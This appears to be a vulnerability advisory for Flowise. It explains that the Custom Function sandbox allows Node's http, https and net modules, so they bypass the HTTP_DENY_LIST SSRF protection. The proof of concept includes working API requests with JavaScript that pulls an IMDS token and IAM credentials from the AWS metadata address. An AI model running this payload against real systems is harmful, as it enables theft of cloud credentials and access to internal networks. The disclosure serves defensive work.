Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [
    'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
    'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch

const defaultNodeVMOptions: any = {
    // ...
    require: {
        builtin: builtinDeps,      // <-- http, https, net allowed here
        mock: secureWrappers       // <-- Only mocks axios, node-fetch
    },
    // ...
}

Root Cause:

• The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
• The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
• Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files:

• packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
• packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
• packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites:

1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
2. Valid API key or authenticated session
3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}

Response:

{
  "Code": "Success",
  "LastUpdated": "2026-01-08T11:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-08T17:30:00Z"
}

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted:

• All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
• Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity:

1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources
2. Scan internal networks, discover services, and identify attack targets
3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements:

• Authentication required (API key or session)
• Network access to Flowise instance